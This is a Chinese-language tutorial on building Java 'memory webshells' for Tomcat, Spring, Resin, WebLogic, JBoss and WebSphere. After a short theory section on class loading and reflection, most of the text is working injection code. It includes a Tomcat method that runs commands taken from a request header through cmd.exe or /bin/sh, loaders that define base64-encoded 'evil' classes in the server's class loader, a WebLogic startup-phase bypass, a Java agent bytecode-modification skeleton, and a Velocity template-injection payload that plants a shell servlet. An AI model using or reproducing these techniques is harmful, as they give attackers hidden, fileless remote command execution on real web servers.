一文深度学习java内存马
字数 2125 2025-08-20 18:18:05
Java内存马深度解析与实战指南
1. 前言
Java内存马注入技术主要分为两种类型:
- 动态注册方式:添加新的listener/filter/servlet/controller等组件
- Agent注入方式:修改已有class,插入恶意代码
在理解内存马注入前,需要掌握以下核心概念:
- 类加载机制
- 双亲委派问题及context
- 类反射机制
2. 基础理论
2.1 Class对象
Java中的对象分为两种:
- Class对象:保存类型运行时信息(类名、属性、方法、父类等)
- 实例对象:类的具体实例
关键特性:
- JVM中一个类只对应一个Class对象
- Class对象是java.lang.Class类的对象
- 类加载时由JVM自动构造,不能显式声明
2.2 类加载机制
类加载的三个阶段:
-
加载:
- 由ClassLoader执行
- 获取类的二进制字节流
- 将字节流转换为方法区的运行时数据结构
- 在堆中生成对应的Class对象
-
链接:
- 验证字节流
- 为静态域分配存储空间
- 将符号引用转为直接引用
-
初始化:
- 执行静态初始化器和静态代码块
- 优先初始化父类
类加载触发方式:
Class.forName("类的全限定名")new操作符- 通过网络加载字节码
关键方法:
loadClass:使用双亲委派机制查找类findClass:根据名称/位置加载.class字节码defineClass:解析.class字节流,返回Class对象
2.3 类反射
获取Class对象的三种方式:
Person.classperson.getClass()Class.forName("com.example.Person")
反射操作:
-
Method操作:
getDeclaredMethods():获取所有方法(包括私有)getMethod():获取公共方法(包括父类)method.invoke(obj, args):调用方法
-
Field操作:
getField(fieldName)field.get(obj)/field.set(obj, val)- 修改final字段需先移除FINAL约束
2.4 双亲委派机制
作用:
- 保证相同class文件加载为相同对象
- 防止核心类被篡改
打破双亲委派的方式:
- 继承ClassLoader并重写
loadClass方法 - 直接使用
defineClass绕过
Tomcat的特殊处理:
- 需要隔离不同应用的类库
- 支持热加载JSP文件
- 自定义类加载器层级:
- CommonClassLoader
- CatalinaClassLoader
- SharedClassLoader
- WebappClassLoader
- JspClassLoader
3. 动态注册方式注入
通用思路
- 分析处理请求的对象,阅读源码确认能否控制请求/响应
- 研究对象注册到内存的流程
- 模拟注册过程
关键问题解决:
- 类加载隔离:使用当前上下文的类加载器创建新类加载器
new javax.management.loading.MLet(new java.net.URL[0], conreq.getClass().getClassLoader()) - 版本适配:研究中间件不同版本的实现差异
3.1 Tomcat内存马
获取Request对象
Tomcat 5-9通用方法:
public static void echo() throws Exception {
Object o;
Object resp = null;
boolean done = false;
try {
Thread[] threads = (Thread[]) Thread.class.getDeclaredMethod("getThreads").invoke(null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor") ||
(!thread.getName().contains("exec") && thread.getName().contains("http"))) {
o = getFieldValue(thread, "target");
if (!(o instanceof Runnable)) continue;
// Tomcat 5/6/7
Object connectionHandler = getFieldValue(getFieldValue(connector, "protocolHandler"), "cHandler");
// Tomcat 8/9
if (connectionHandler == null) {
connectionHandler = getFieldValue(getFieldValue(connector, "protocolHandler"), "handler");
}
ArrayList processors = (ArrayList) getFieldValue(getFieldValue(connectionHandler, "global"), "processors");
for (Object processor : processors) {
Object req = getFieldValue(processor, "req");
String s = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "Accept-Encoded");
if (s != null && !s.isEmpty()) {
Object conreq = req.getClass().getMethod("getNote", int.class).invoke(req, 1);
try {
resp = conreq.getClass().getMethod("getResponse").invoke(conreq);
} catch (Exception e) {
resp = getFieldValue(getFieldValue(conreq, "request"), "response");
}
// 设置响应
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 200);
resp.getClass().getMethod("addHeader", String.class, String.class)
.invoke(resp, "Transfer-encoded", "chunked");
done = true;
// 执行命令
byte[] cmdBytes;
if (s.equals("echo")) {
cmdBytes = System.getProperties().toString().getBytes();
} else {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
cmdBytes = new Scanner(new ProcessBuilder(cmd).start().getInputStream())
.useDelimiter("\\A").next().getBytes();
}
writeBody(resp, new String(cmdBytes));
}
if (done) break;
}
}
}
} catch (Exception ex) {
writeBody(resp, ex.toString());
}
}
获取Context
private static Object getContext(Object request) throws Exception {
Object context = null;
try {
context = getFieldValue(request, "context"); // all
} catch (Exception e) {
try {
context = invoke(request, "getContext"); // tomcat6
} catch (Exception ignored) {
try {
context = invoke(request, "getServletContext"); // tomcat7+
} catch (Exception ignored1) {
context = invoke(request, "getWebApp"); // resin3
}
}
}
return context;
}
// 获取StandardContext
Object applicationContextFacade = getContext(request);
Object applicationContext = getFieldValue(applicationContextFacade, "context");
Object standardContext = getFieldValue(applicationContext, "context");
添加Listener
getMethodByClass(standardContext.getClass(), "setApplicationEventListeners", Object[].class)
.invoke(standardContext, new Object[]{newListeners.toArray()});
3.2 半自动化挖掘技术
使用工具java-object-searcher:
- 将jar包引入目标应用的classpath或JDK的ext目录
- 编写搜索代码:
// 设置搜索类型
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("listener").build());
// 定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
blacklists.add(new Blacklist.Builder().setField_type("Exception").build());
blacklists.add(new Blacklist.Builder().setField_name("contextClassLoader").build());
// 创建搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path(".");
searcher.searchObject();
3.3 Spring内存马
Object requestAttributes = Class.forName("org.springframework.web.context.request.RequestContextHolder")
.getMethod("getRequestAttributes").invoke(null);
Object httprequest = requestAttributes.getClass().getMethod("getRequest").invoke(requestAttributes);
Object httpresponse = requestAttributes.getClass().getMethod("getResponse").invoke(requestAttributes);
Object servletContext = httprequest.getClass().getMethod("getServletContext").invoke(requestAttributes);
3.4 Resin内存马
Resin 4
Object servletContext = invoke(httprequest, "getServletContext");
Object webApp = servletContext;
Method addListenerObjectM = getMethodByClass(webApp.getClass(), "addListenerObject",
new Class[]{Object.class, boolean.class});
// 动态加载恶意类
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(new javax.management.loading.MLet(new java.net.URL[0],
Thread.currentThread().getContextClassLoader()), clazzBytes, 0, clazzBytes.length);
Object listener = clazz.newInstance();
addListenerObjectM.invoke(webApp, new Object[]{listener, true});
Resin 3
区别点:
- 获取WebApp方式:
getWebApp而非getServletContext - Request实现类:
com.caucho.server.http.HttpRequest
3.5 WebLogic内存马
12.1.3+版本
Object currentWork = ((ExecuteThread)Thread.currentThread()).getCurrentWork();
Field connectionHandler = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object httpConnectionHandler = connectionHandler.get(currentWork);
Field requestF = httpConnectionHandler.getClass().getDeclaredField("request");
requestF.setAccessible(true);
httpConnectionHandler = requestF.get(httpConnectionHandler);
Field contextF = httpConnectionHandler.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext webAppServletContext = (WebAppServletContext) contextF.get(httpConnectionHandler);
// 动态加载恶意类
byte[] evilClassBytes = new BASE64Decoder().decodeBuffer("yv66...");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Field classLoaderF = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader classLoader = (ClassLoader) classLoaderF.get(webAppServletContext);
Class servletClass = (Class) defineClass.invoke(classLoader, evilClassBytes, 0, evilClassBytes.length);
// 绕过启动检查
Field phaseF = webAppServletContext.getClass().getDeclaredField("phase");
phaseF.setAccessible(true);
Object INITIALIZER_STARTUP = Class.forName("weblogic.servlet.internal.WebAppServletContext$ContextPhase")
.getDeclaredField("INITIALIZER_STARTUP").get(null);
Object START = Class.forName("weblogic.servlet.internal.WebAppServletContext$ContextPhase")
.getDeclaredField("START").get(null);
Object OldContextPhase = phaseF.get(webAppServletContext);
phaseF.set(webAppServletContext, INITIALIZER_STARTUP);
webAppServletContext.registerListener("evil.listener.testCmdListener");
phaseF.set(webAppServletContext, START);
3.6 JBoss内存马
JBoss AS6.1可直接复用Tomcat的listener内存马,因其内嵌了Tomcat。
3.7 WebSphere内存马
获取Context方法
- 通过Thread.currentThread()定位:
Object obj0 = Thread.currentThread();
Object obj1 = getFieldValue(obj0, "wsThreadLocals");
Object[] wsThreadLocals = (Object[]) obj1;
for (Object obj2 : wsThreadLocals) {
if (obj2 != null && obj2.getClass().getName().contains("FastStack")) {
Object obj3 = getFieldValue(obj2, "stack");
Object[] stack = (Object[]) obj3;
for (Object obj4 : stack) {
if (obj4 != null && obj4.getClass().getName().contains("WebComponentMetaDataImpl")) {
Object obj5 = getFieldValue(obj4, "config");
Object obj6 = getFieldValue(obj5, "context"); // ServletContextFacade
Object obj7 = getFieldValue(obj6, "context"); // WebAppImpl
return obj7;
}
}
}
}
- 全局方法获取:
Object webContainer = Class.forName("com.ibm.ws.webcontainer.WebContainer", true, classloader)
.getMethod("getWebContainer").invoke(null);
Object requestMapper = getFieldValue(webContainer, "requestMapper");
Object webGroup = invoke(requestMapper, "map", new Object[]{":9080/app/*"});
Object webapp = getFieldValue(webGroup, "webApp");
内存马注入
byte[] classBytes = new BASE64Decoder().decodeBuffer("yv66...");
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(
new java.security.SecureClassLoader(Thread.currentThread().getClass().getClassLoader()),
new Object[]{classBytes, 0, classBytes.length});
((WebGroupImpl)WebContainer.getWebContainer().requestMapper.map(":9080/app/*"))
.webApp.addLifecycleListener(((EventListener)cc.newInstance());
4. Agent注入方式
Agent注入通过修改已有class字节码实现,关键步骤:
- 获取Instrumentation实例
- 使用ClassFileTransformer转换目标类
- 插入恶意字节码
示例代码结构:
public class Agent {
public static void agentmain(String args, Instrumentation inst) {
inst.addTransformer(new ClassFileTransformer() {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if (targetClass.equals(className)) {
// 修改字节码
return modifyClass(classfileBuffer);
}
return null;
}
}, true);
}
}
5. 实用技巧
5.1 SSTI利用
Velocity模板注入示例:
#set($s="")
#set($evil="b64xxxxx")
#set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer($evil))
#set($ReflectUtils=$s.getClass().forName("org.springframework.cglib.core.ReflectUtils").getDeclaredConstructor())
#set($classLoader=$s.getClass().forName("java.lang.Thread").currentThread().getContextClassLoader())
$ReflectUtils.setAccessible(true)
#set($ReflectUtilsObject=$ReflectUtils.newInstance())
#set($_=$ReflectUtilsObject.defineClass("Payload", $evilb, $classLoader))
#set($shellServlet=$classLoader.loadClass("Payload").newInstance())
5.2 远程调试配置
| JDK版本 | 参数 |
|---|---|
| JDK5-8 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 |
| JDK9+ | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 |
全局环境变量方式:
set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
5.3 内存Class Dump
使用dumpclass工具:
"C:\Java\jdk1.8.0_212\bin\java.exe" -jar dumpclass.jar -p 10820 com.example.TargetClass